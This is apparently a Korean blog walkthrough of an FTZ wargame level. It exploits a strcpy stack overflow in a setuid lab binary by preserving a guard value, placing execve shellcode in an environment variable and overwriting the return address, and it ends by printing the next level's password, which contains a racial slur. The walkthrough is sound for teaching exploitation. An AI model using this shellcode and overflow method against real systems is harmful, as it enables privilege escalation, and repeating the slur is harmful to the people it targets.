#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
변수 i를 이용해 버퍼오버플로우를 감지하고 있다.
이번엔 스택에 값을 덮어씌울 때 i 부분은 유지한 채로 값을 덮어씌워야 한다.
export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
쉘 코드를 환경 변수로 등록한다. level11과 level12에서 문법들을 다뤘다. attackme의 소스코드에 setreuid가 있기에 setreuid가 없는 쉘 코드를 썼다.
https://dbgdbg.tistory.com/entry/level11
level11
// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\
dbgdbg.tistory.com
https://dbgdbg.tistory.com/entry/level12
level12
#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump
dbgdbg.tistory.com
#include <stdio.h>
int main(){
printf("%p\n",getenv("sh"));
}
등록한 환경 변수의 주솟값을 알아내는 코드다. 컴파일한다.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483c8 <main+0>: push ebp
0x080483c9 <main+1>: mov ebp,esp
0x080483cb <main+3>: sub esp,0x418 //스택에 1048bytes 공간 할당
0x080483d1 <main+9>: and esp,0xfffffff0
0x080483d4 <main+12>: mov eax,0x0
0x080483d9 <main+17>: sub esp,eax
0x080483db <main+19>: mov DWORD PTR [ebp-12],0x1234567 //변수 i의 주솟값 ebp-12
0x080483e2 <main+26>: sub esp,0x8
0x080483e5 <main+29>: push 0xc16
0x080483ea <main+34>: push 0xc16
0x080483ef <main+39>: call 0x80482e8 <setreuid>
0x080483f4 <main+44>: add esp,0x10
0x080483f7 <main+47>: cmp DWORD PTR [ebp+8],0x1
0x080483fb <main+51>: jle 0x8048417 <main+79>
0x080483fd <main+53>: sub esp,0x8
0x08048400 <main+56>: mov eax,DWORD PTR [ebp+12]
0x08048403 <main+59>: add eax,0x4
0x08048406 <main+62>: push DWORD PTR [eax]
0x08048408 <main+64>: lea eax,[ebp-1048] //배열 buf의 주솟값 ebp-1048
0x0804840e <main+70>: push eax
0x0804840f <main+71>: call 0x8048308 <strcpy>
0x08048414 <main+76>: add esp,0x10
0x08048417 <main+79>: cmp DWORD PTR [ebp-12],0x1234567 //변수 i와 0x1234567비교
attackme의 스택을 살펴보았다.
ebp위로 1048 bytes의 공간을 임의의 문자로 채우는데 단, ebp-12의 위치에는 0x1234567이 있어야한다.
1048bytes 채우고 나서 sfp가 저장된 4 bytes 공간을 또 채우고 마지막으로 retn 주소에 쉘 코드의 주소를 넣는다.
[level13@ftz tmp]$ ./getenv
0xbffffe69
[level13@ftz tmp]$ ../attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x69\xfe\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.
Level14 Password is "what that nigga want?".